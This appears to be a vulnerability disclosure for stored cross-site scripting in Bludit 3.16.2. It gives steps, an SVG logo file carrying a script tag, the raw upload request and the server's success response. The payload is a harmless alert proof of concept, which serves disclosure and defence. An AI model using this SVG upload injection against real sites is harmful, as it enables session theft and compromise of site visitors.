📄 bludit 3.16.2 Cross Site Scripting

# Exploit Title: XSS via SVG File Upload - bluditv3.16.2
    # Date: 07/2025
    # Exploit Author: Andrey Stoykov
    # Version: 3.16.2
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    
    XSS via SVG File Upload #1:
    
    Steps to Reproduce:
    
    1. Login with admin account and click on "General" > "Logo"
    
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
    http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="100" height="100" version="1.1" xmlns="
    http://www.w3.org/2000/svg">
      <script type="text/javascript">alert('xss');</script>
    </svg>
    
    
    // HTTP POST Request Uploading the SVG File
    
    POST /bludit/admin/ajax/logo-upload HTTP/1.1
    Host: 192.168.58.133
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0)
    Gecko/20100101 Firefox/141.0
    [...]
    
    ------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
    Content-Disposition: form-data; name="tokenCSRF"
    
    59fc6f48ad5d60b39699491cada2390e1b42531b
    ------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
    Content-Disposition: form-data; name="inputFile";
    filename="evilsvgfile-xss-bypass.svg"
    Content-Type: image/svg+xml
    
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
    http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="100" height="100" version="1.1" xmlns="
    http://www.w3.org/2000/svg">
      <script type="text/javascript">alert('xss');</script>
    </svg>
    ------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--
    
    
    // HTTP Response
    
    HTTP/1.1 200 OK
    Date: Sat, 28 Jun 2025 21:16:10 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    [...]
    
    {"status":0,"message":"Image
    uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133
    \/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}